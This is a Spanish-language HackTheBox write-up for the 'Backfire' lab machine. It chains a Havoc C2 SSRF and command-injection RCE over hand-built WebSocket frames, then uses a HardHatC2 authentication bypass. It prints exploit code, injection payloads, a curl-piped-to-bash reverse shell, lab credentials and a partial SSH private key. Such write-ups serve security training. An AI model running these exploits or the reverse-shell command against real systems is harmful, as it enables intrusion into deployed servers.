This page looks best with JavaScript enabled

HackTheBox - Backfire

En Backfire encontramos la configuracion de Havoc Server donde se realizo la explotacion de dos vulnerabilidades (SSRF + RCE) a traves de WebSocket, esto nos permitio el acceso a un primer usuario. Localmente encontramos HardHatC2 el cual tiene varias vulnerabilidades, una de ellas permite la creacion de un usuario administrador la cual nos permitio acceder al dashboard, ejecutar comandos y acceder a un segundo usuario. Finalmente escalamos privilegios a atraves de los comandos iptables con los que realizamos la escritura de una clave SSH publica en el usuario root.

Nombre Backfire box_img_maker
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-01-18
IP 10.10.11.49
Maker

hyperreality


chebuya

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [87, 66, 335, 420, 638, 537, 621, 407, 146, 293],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: https (443), ssh (22), 5000, 7096 y 8000 (http).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Nmap 7.95 scan initiated Fri Feb  7 06:59:45 2025 as: /usr/lib/nmap/nmap --privileged -p22,443,5000,7096,8000 -sV -sC -oN nmap_scan 10.10.11.49
Nmap scan report for 10.10.11.49
Host is up (0.086s latency).

PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open     ssl/http nginx 1.22.1
|_ssl-date: TLS randomness does not represent time
|_http-title: 404 Not Found
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-server-header: nginx/1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-07-28T09:01:00
|_Not valid after:  2027-07-28T09:01:00
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open     http     nginx 1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb  7 07:00:06 2025 -- 1 IP address (1 host up) scanned in 20.51 seconds

Web Site - HTTPS

El sitio web no muestra ningun tipo de contenido, unicamente codigo 404.

image

Puerto 8000

En el puerto 8000 http encontramos dos archivos.

1
2
3
4
5
6
7
8
❯ curl -s http://10.10.11.49:8000/ | html2text
****** Index of / ******
===============================================================================
../
disable_tls.patch                                  17-Dec-2024 11:31    1559
havoc.yaotl                                        17-Dec-2024 11:34     875
===============================================================================

Havoc Framework

El primero muestra los cambios realizados a dos archivos del Servidor C2 Havoc, mencionando que se desabilito TLS en conexion Websocket tanto del cliente como en el servidor. Se menciona que para acceder al puerto 40056 solo es posible localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}

El segundo archivo havoc.yaotl es un perfil de Havoc, se muestra el host como local y credenciales de operadores.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

Como era de esperarse el puerto del servidor de Havoc no esta disponible, por lo que no es posible conectarnos con alguno de los operadores.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ nmap -p 40056 10.10.11.49
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 07:03 EST
Nmap scan report for backfire.htb (10.10.11.49)
Host is up (0.066s latency).

PORT      STATE  SERVICE
40056/tcp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

CVE-2024-41570

Encontramos un post que explica una vulnerabilidad SSRF en Havoc escrita por uno de los autores de la maquina (chebuya), esta permite crear, escribir y leer sockets sin ningun tipo de autenticacion en el servidor, lo que permite realizar solicitudes desde el servidor C2 a una IP y puerto especifico.

Existe un PoC, este realiza una solicitud HTTP a la direccion /vulnerable y host especificado.

1
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"

Ejecutamos el PoC hacia nuestro servidor http local y observamos una solicitud hacia la direccion /vulnerable, tal y como en el codigo, ademas, se observa el resultado de la solicitud.

CVE-2024-41570 PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ python havoc-ssr.py -t https://backfire.htb -i 10.10.15.106 -p 80
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.12.8
Date: Mon, 17 Feb 2025 03:26:36 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 335

<!DOCTYPE HTML>
<html lang="en">
  <head>
      <meta charset="utf-8">
      <title>Error response</title>
  </head>
  <body>
      <h1>Error response</h1>
      <p>Error code: 404</p>
      <p>Message: File not found.</p>
      <p>Error code explanation: 404 - Nothing matches the given URI.</p>
  </body>
</html>

HTTP Local Server

1
2
3
4
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.49 - - [16/Feb/2025 22:26:36] code 404, message File not found
10.10.11.49 - - [16/Feb/2025 22:26:36] "GET /vulnerable HTTP/1.1" 404 -

Realizamos una solicitud al puerto 40056 y observamos que existe una respuesta: una redireccion; al realizar una solicitud a esta ruta se muestra como no encontrada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 40056
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /home/
Date: Mon, 17 Feb 2025 03:33:48 GMT
Content-Length: 41
Connection: close

<a href="/home/">Moved Permanently</a>.


❯ python havoc-ssr.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 404 Not Found
Date: Mon, 17 Feb 2025 03:52:24 GMT
Content-Length: 0
Connection: close


Los puertos 5000 y 7096 no muestran algun tipo de contenido al realizar la solicitud HTTP hacia /.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 5000
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

❯ python havoc-ssr.py -t https://backfire.htb -i 127.0.0.1 -p 7096
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Havoc RCE

Tambien, encontramos que Havoc =< 0.6 tiene una vulnerabilidad RCE. Si observamos el PoC realiza una conexion directa con el servidor a traves de WebSocket TLS, se autentica, crea un listener y por medio de un agente envia el comando. Pero, como sabemos el puerto del servidor de Havoc es unicamente accesible localmente o en este caso por medio de la vulnerabilidad SSRF, por lo que para intentar explotar esta vulnerabilidad es necesario realizarlo por este ultimo, es decir combinar la explotacion de dos vulnerabiliades, para ello debemos saber como enviar solicitudes Websocket.

WebSocket

WebSocket se comunica sobre una sola conexion TCP, para establecer una conexion, primero se realiza un HTTP handshake donde se especifican los headers que indican actualizar a este protocolo, el servidor al aceptar el cambio envia una respuesta HTTP 101, con ello ambos pueden empezar a comunicarse.

La comunicacion se realiza a traves de WebSocket Frames, existen diferentes tipos de ‘Frames’: Text, binary, ping, pong y close. Ademas, existe Framing Masking, una caracteristica de seguridad donde se crea y especifica una mask key la cual es utilizada para realizar XOR al payload antes de ser enviada, al llegar, el servidor se encarga de realizar “unmask” para obtener el payload original.

Local Exploitation

Para poder observar el comportamiento y las solicitudes, aplicamos el ‘parche’ a Havoc localmente, lo compilamos y ejecutamos con el perfil encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ ./havoc server --profile ../havoc.yaotl -vvv --debug
              _______           _______  _______ 
\     /│(  ___  )\     /│(  ___  )(  ____ \
)   ( ││ (   ) ││ )   ( ││ (   ) ││ (    \/
(___) ││ (___) ││ │   │ ││ │   │ ││ │      
    │  ___  ││  ___  │( (   ) )│ │   │ ││ │      
(   ) ││ (   )\ \_/ / │ │   │ ││ │      
)   ( ││ )   (\   /  │ (___) ││ (____/\
    │/     \││/     \│   \_/   (_______)(_______/

  	pwn and elevate until it's done

[02:25:48] [DBUG] [cmd.init.func2:59]: Debug mode enabled

[...] snip [...]

Empezamos creando el Handshake, simplemente agregamos una solicitud HTTP, utilizando el codigo de python-websockets generamos la Sec-WebSocket-Key.

1
2
3
4
# handshake
key_hand = generate_key()
request_data = "GET /havoc/ HTTP/1.1\r\nHost: 127.0.0.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + key_hand +"\r\nSec-WebSocket-Version: 13\r\n\r\n"
write_socket(socket_id, bytes(request_data.encode()))

Al enviar la solicitud no se muestra ningun tipo de error por parte de Havoc, por lo que asumimos como aceptada. En el caso de no ser aceptado, muestra algo como:

1
[ERRO] Failed upgrading request: websocket: the client is not using the websocket

Continuamos con el payload para autenticarnos, para ello utilizamos nuevamente el codigo de python-websocket esta vez para generar el frame con el masking.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# [...] snip [...]

def generate_key():
    key = secrets.token_bytes(16)
    return base64.b64encode(key).decode()

def apply_mask(data, mask):
    if len(mask) != 4:
        raise ValueError("mask must contain 4 bytes")

    data_int = int.from_bytes(data, sys.byteorder)
    mask_repeated = mask * (len(data) // 4) + mask[: len(data) % 4]
    mask_int = int.from_bytes(mask_repeated, sys.byteorder)
    return (data_int ^ mask_int).to_bytes(len(data), sys.byteorder)

def serialize(data):
        output = io.BytesIO()
        # OPCODE 0x01 (TEXT)
        head1 = (0b10000000 | 0x01)
        head2 = 0b10000000        

        length = len(data)
        if length < 126:
            output.write(struct.pack("!BB", head1, head2 | length))
        elif length < 65536:
            output.write(struct.pack("!BBH", head1, head2 | 126, length))
        else:
            output.write(struct.pack("!BBQ", head1, head2 | 127, length))
        
        mask_bytes = secrets.token_bytes(4)
        output.write(mask_bytes)

        data = apply_mask(data, mask_bytes)        
        output.write(data)

        return output.getvalue()

# [...] snip [...]

# send frame masking
# Auth
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"

payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload = json.dumps(payload)

request_data = serialize(payload.encode('utf-8'))
write_socket(socket_id, request_data)

Al enviar esta solicitud Havoc muestra que el usuario se autentico.

1
2
3
4
5
[02:30:51] [DBUG] [agent.ParseDemonRegisterRequest:594]: Finished parsing demon
[02:30:51] [DBUG] [handlers.handleDemonAgent:295]: Finished request
[02:30:51] [DBUG] [server.(*Teamserver).ClientAuthenticate:659]: Found User: ilya
[02:30:51] [DBUG] [server.(*Teamserver).ClientAuthenticate:666]: User ilya is authenticated
[02:30:51] [GOOD] User <ilya> Authenticated

Finalmente agregamos el payload para el listener y el comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload = json.dumps(payload)
request_data = serialize(payload.encode('utf-8'))
write_socket(socket_id, request_data)

# cmd injection
cmd = "whoami;id"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
    "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload = json.dumps(payload)
request_data = serialize(payload.encode('utf-8'))
write_socket(socket_id, request_data)

Tras ejecutarlo observamos el output del comando.

1
2
3
4
5
6
7
8
9
[02:39:05] [DBUG] [builder.(*Builder).Build:331]: /usr/bin/nasm -f win64 src/asm/Spoof.x64.asm -o /tmp/bc0b28850d/af143a6014.o
[02:39:05] [DBUG] [builder.(*Builder).Build:331]: /usr/bin/nasm -f win64 src/asm/Syscall.x64.asm -o /tmp/bc0b28850d/b18b59f909.o
[02:39:05] [DBUG] [builder.(*Builder).Build:369]: Compile Service exe
[02:39:05] [ERRO] Couldn't compile implant: exit status 1
[02:39:05] [DBUG] [builder.(*Builder).Cmd:1083]: "/home/kali/htb/backfire/Havoc/data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" src/core/CoffeeLdr.c src/core/Command.c src/core/Dotnet.c src/core/Download.c src/core/HwBpEngine.c src/core/HwBpExceptions.c src/core/Jobs.c src/core/Kerberos.c src/core/Memory.c src/core/MiniStd.c src/core/Obf.c src/core/ObjectApi.c src/core/Package.c src/core/Parser.c src/core/Pivot.c src/core/Runtime.c src/core/Socket.c src/core/Spoof.c src/core/SysNative.c src/core/Syscalls.c src/core/Thread.c src/core/Token.c src/core/Transport.c src/core/TransportHttp.c src/core/TransportSmb.c src/core/Win32.c src/crypt/AesCrypt.c src/inject/Inject.c src/inject/InjectUtil.c /tmp/bc0b28850d/af143a6014.o /tmp/bc0b28850d/b18b59f909.o src/Demon.c -Iinclude -mwindows -ladvapi32 -Os -fno-asynchronous-unwind-tables -masm=intel -fno-ident -fpack-struct=8 -falign-functions=1 -s -ffunction-sections -fdata-sections -falign-jumps=1 -w -falign-labels=1 -fPIC -Wl,-s,--no-seh,--enable-stdcall-fixup,--gc-sections -DSERVICE_NAME=\" \" -mbla; whoami;id 1>&2 && false #\"  -DCONFIG_BYTES={0x02\,0x00\,0x00\,0x00\,0x00\,0x00\,0x00\,0x00\,0x02\,0x00\,0x00\,0x00\,0x02\,[... snip ...] 0}  -DTRANSPORT_HTTP -D MAIN_THREADED -
D SVC_EXE -lntdll -e WinMain src/main/MainSvc.c -o /tmp/bc0b28850d/demon.x64.exe
[02:39:05] [DBUG] [builder.(*Builder).Cmd:1084]: StdErr:
x86_64-w64-mingw32-gcc: error: unrecognized command-line option ‘-mbla’
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),127(lpadmin),135(wireshark),137(kaboxer)

User - Ilya

Agregamos autenticacion y una “pseudo shell” a nuestro exploit logrando asi ejecutar comandos como ilya en la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
❯ python nanannana.py -t https://10.10.11.49 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -s -lh 10.10.15.106 -lp 9090
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[+] Authenticating ...
[***] Trying to write to the socket
[***] Success!
[+] Creating listener ...
[***] Trying to write to the socket
[***] Success!

[+] Executing command: `whoami`

[***] Trying to write to the socket
[***] Success!
[+] Executing "interactive shell" (not actually) ...
[+] Starting HTTP Server in background ...
[+] Output will send to: 10.10.15.106:9090
$ whoami
[+] Executing command ...
[***] Trying to write to the socket
[***] Success!
$ Response:
ilya

id
[+] Executing command ...
[***] Trying to write to the socket
[***] Success!
$ Response:
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

ls -lah
[+] Executing command ...
[***] Trying to write to the socket
[***] Success!
$ Response:
total 32K
drwxr-xr-x 5 root root 4.0K Sep 27 19:18 .
drwxr-xr-x 5 root root 4.0K Sep 27 19:18 ..
-rw-r--r-- 1 root root 2.2K Sep 27 19:18 CMakeLists.txt
drwxr-xr-x 6 root root 4.0K Sep 27 19:18 include
-rw-r--r-- 1 root root   79 Sep 27 19:18 makefile
-rw-r--r-- 1 root root  866 Sep 27 19:18 README.md
drwxr-xr-x 2 root root 4.0K Sep 27 19:18 scripts
drwxr-xr-x 7 root root 4.0K Sep 27 19:18 src

Shell

Ejecutamos una shell inversa utilizando shells.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ python exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -c 'curl 10.10.15.106:8000/10.10.15.106:1335 | bash'
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
Authenticating ...
[***] Trying to write to the socket
[***] Success!
Creating listener ...
[***] Trying to write to the socket
[***] Success!

Executing command: `curl 10.10.15.106:8000/10.10.15.106:1335 | bash`

[***] Trying to write to the socket
[***] Success!

Logramos obtener una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.48] from backfire.htb [10.10.11.49] 60040
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
ilya
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/home/ilya/Havoc/payloads/Demon
$ python3 -c'import pty;pty.spawn("/bin/bash")'
ilya@backfire:~/Havoc/payloads/Demon$ cd
ilya@backfire:~$ ls
files  hardhat.txt  Havoc  user.txt
ilya@backfire:~$ cat user.txt
8b218e350f1a41051827ce870df79ce1
ilya@backfire:~$

Shell SSH

La shell inversa se cerraba por lo que generamos una clave con ssh-keygen y agregamos la clave publica al archivo authorized_keys.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ilya@backfire:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ilya/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/ilya/.ssh/id_rsa
Your public key has been saved in /home/ilya/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:r3pfoKAogirba8Y0rwu6ObA42Wckg/9B+xbZOs1LItY ilya@backfire
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|                 |
|                 |
|                 |
| .  . .oS .      |
|+ =o.+o..o .     |
|BB.** E=o . .    |
|@=*.+++o+. .     |
|BB=B..o+oo.      |
+----[SHA256]-----+
ilya@backfire:~$ cat /home/ilya/.ssh/id_rsa.pub >> .ssh/authorized_keys
cat /home/ilya/.ssh/id_rsa.pub >> .ssh/authorized_keys
ilya@backfire:~$ cat /home/ilya/.ssh/id_rsa
cat /home/ilya/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA0uPeX5wwxtT30r+K1LWarkQ0RM6sF2nmTuGsJ1lIs85dEC+k/lwi
[...] snip [...]
gWyDGInGwX9HoOXDtKxf8wSXJRde686+v731sj/r0i/M4tSJKQFupWXK2knBfa/V0N+Qc5
AOYtfFTSAGx58AAAANaWx5YUBiYWNrZmlyZQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
ilya@backfire:~$

Con ello logramos acceder por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ nano id_rsa_ilya
❯ chmod 600 id_rsa_ilya
❯ ssh -i id_rsa_ilya ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Feb 18 22:29:16 2025 from 10.10.15.87
ilya@backfire:~$ whoami;id;pwd
ilya
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/home/ilya
ilya@backfire:~$

User - Sergej

En la carpeta principal de Ilya encontramos una nota que explica que el usuario Sergej instalo HardHatC2.

1
2
3
4
5
6
ilya@backfire:~$ ls
files  hardhat.txt  Havoc  user.txt
ilya@backfire:~$ cat hardhat.txt 
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 
ilya@backfire:~$

El servidor HardHatC2 corre por el puerto 5000 y la interfaz del cliente por el 7096. Observando los procesos vemos que Sergej lo esta ejecutando y ambos puertos estan abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ilya@backfire:~$ ps -ef | grep sergej
sergej      1728       1  2 23:50 ?        00:00:11 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej      1729       1  2 23:50 ?        00:00:08 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej      1786    1729  0 23:50 ?        00:00:03 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej      1809    1728  0 23:50 ?        00:00:03 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
ilya        2147    2140  0 23:56 pts/0    00:00:00 grep sergej
ilya@backfire:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:7096            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
ilya@backfire:~$ 

HardHatC2

Utilizamos SSH para realizar Local Port Forwarding para el puerto 7096.

1
ssh -i id_rsa_ilya -fN ilya@10.10.11.49 -L 7096:localhost:7096

Observamos localmente el la interfaz grafica, sin embargo ninguna de las credenciales de Havoc son validas.

image

Authentication Bypass

HardHatC2 tiene tres vulnerabilidades. Utilizamos el PoC para Authentication Bypass; este crea un usuario con permisos de “administrador” y “TeamLead” con las credenciales sth_pentest : sth_pentest. Obtuvimos el puerto 5000 localmente y lo ejecutamos.

1
2
3
4
5
6
❯ ssh -i id_rsa_ilya -fN ilya@10.10.11.49 -L 5000:localhost:5000
❯ python auth_bypass_hardhat.py 2>/dev/null
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiZjc4YzYyMzgtZWM1Mi00MmQ2LWJlNWEtMWEwOGEzYmQwMTdjIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzk2MjcwMzQsImV4cCI6MTc0MjA0MjYzNCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.1TdZBvzJnoQjXIg7RWxDu5_1IaAai0_LVFhVEcnniRU
User sth_pentest created

Tras la ejecucion logramos acceder al dashboard.

image

Para ejecutar comandos nos dirigimos a ImplantInteract > Terminal y nueva terminal, enviamos el comando whoami y observamos el output.

image

Shell

Generamos una clave SSH y agregamos la clave publica al archivo authorized_keys.

1
2
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N ""
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys; cat ~/.ssh/id_rsa

image
image

